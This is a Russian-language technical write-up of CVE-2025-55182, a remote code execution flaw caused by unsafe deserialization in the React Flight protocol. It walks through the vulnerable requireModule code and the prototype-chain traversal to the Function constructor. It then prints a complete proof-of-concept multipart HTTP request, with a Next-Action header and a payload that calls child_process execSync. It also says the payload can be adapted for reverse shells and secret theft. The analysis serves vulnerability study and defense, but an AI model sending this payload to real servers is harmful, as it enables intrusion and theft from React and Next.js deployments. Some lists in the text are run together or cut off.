
Эксплойт класса proof-of-concept, демонстрирующий удалённое выполнение кода через небезопасную десериализацию в протоколе React Flight (CVE-2025-55182). Включает правила обнаружения для Snort и OSQuery.
React Server Components — это функция, представленная в React 19, которая позволяет рендерить компоненты на сервере, а не в браузере на стороне клиента. Сервер может выполнять сложные вычислительные задачи, отправляя клиенту только уже отрендеренный результат.
Связь между сервером и клиентом в RSC основана на протоколе React Flight. Этот протокол обрабатывает сериализацию и десериализацию данных, передаваемых между сервером и клиентом. Когда клиенту необходимо вызвать серверную функцию (Server Action), он отправляет специально оформленный запрос, содержащий сериализованные данные, которые сервер должен десериализовать и обработать.
Протокол Flight использует особый формат сериализации с маркерами типов данных. Например:
Именно этот механизм сериализации и является местом, где кроется уязвимость. Сервер обрабатывает эти ссылки, не проверяя должным образом, действительно ли запрашиваемые свойства являются валидными экспортами из предполагаемого модуля.
CVE-2025-55182 по своей сути — это уязвимость небезопасной десериализации в том, как RSC обрабатывает входящие payload протокола Flight. Уязвимость находится в функции requireModule пакета react-server-dom-webpack.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... additional logic ...
return moduleExports[metadata[2]]; // VULNERABLE LINE
}
Критическая ошибка заключается в доступе через скобочную нотацию: moduleExports[metadata[2]]
В JavaScript при обращении к свойству через скобочную нотацию движок JavaScript проверяет не только собственные свойства объекта, но и проходит по всей цепочке прототипов. Это означает, что атакующий может ссылаться на свойства, которые модуль явно не экспортирует.
Самое главное — каждая функция в JavaScript имеет свойство constructor, указывающее на конструктор Function. Получив доступ к someFunction.constructor, атакующий получает ссылку на глобальный конструктор Function, способный выполнить произвольный JavaScript-код при вызове со строковым аргументом.
Уязвимость становится эксплуатируемой, потому что протокол Flight в React позволяет клиенту указывать эти пути к свойствам с помощью синтаксиса ссылок, разделённых двоеточием. Атакующий может создать ссылку вида $1:constructor:constructor, которая выполнит следующий обход:
.constructor (получив конструктор Function).constructor (это по-прежнему конструктор Function, но подтверждает цепочку доступа)PoC начинается с отправки multipart-запроса формы, состоящего из трёх полей. Первое поле содержит специально созданный поддельный объект Chunk:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Этот объект имитирует внутреннюю структуру класса chunk в React. Устанавливая then ссылкой на Chunk.prototype.then, он создаёт самореферентную структуру. Когда React обрабатывает этот Chunk и выполняет await, метод then вызывается с поддельным Chunk в качестве контекста this
Следующий ключевой компонент — ссылка $B1337. В протоколе Flight от React префикс $B обозначает ссылку на Blob. Когда React обрабатывает ссылку на Blob, он вызывает функцию, использующую: response._formData.get(response._prefix + id)
Здесь в объект _response внедрены вредоносные свойства. Когда обработчик Blob выполняет: response._formData.get(response._prefix + id)
Фактически будет выполнено: Function("process.mainModule.require('child_process').execSync('xcalc');1337")
Причина в том, что _formData.get установлен как $1:constructor:constructor, и эта ссылка разрешается в Function constructor. Значение _prefix содержит вредоносный код. При объединении Function constructor вызывается с вредоносной строкой в качестве аргумента, создавая и выполняя функцию, содержащую произвольный JS-код.
Payload process.mainModule.require('child_process').execSync('xcalc') иллюстрирует возможности данной эксплуатации. Payload выполняет:
process.mainModule (главному исполняемому модулю)require для загрузки модуля child_processexecSync для выполнения команды ОСxcalc), чтобы продемонстрировать успешную эксплуатациюЭтот payload можно модифицировать для установки reverse shell, извлечения переменных окружения, содержащих секретную информацию, чтения чувствительных файлов или выполнения любых других операций, доступных процессу Node.js.
Рассмотрим полный запрос из PoC от maple3142:
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: [Фактическая_длина_тела]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Заголовок Next-Action: x активирует механизм обработки Server Action в React. Тело состоит из 3 частей:
_response.$@0, указывающая обратно на поле 0, создающая самореферентную структуру.Когда сервер обрабатывает этот запрос, он десериализует поле 0, встречает ссылку $@0 в поле 1, устанавливает самореферентное свойство then, а затем активирует обработчик Blob, который выполняет код через Function constructor.
CVE-2025-55182 затрагивает React Server Components в следующих версиях:
Эта уязвимость опасна, потому что:
create-next-app, может быть эксплуатировано без изменения исходного кода.Согласно Shodan, более 571 000 публичных серверов используют компоненты React и 444 000 серверов используют Next.js. Хотя не все они работают на затронутых версиях, потенциальная поверхность атаки огромна.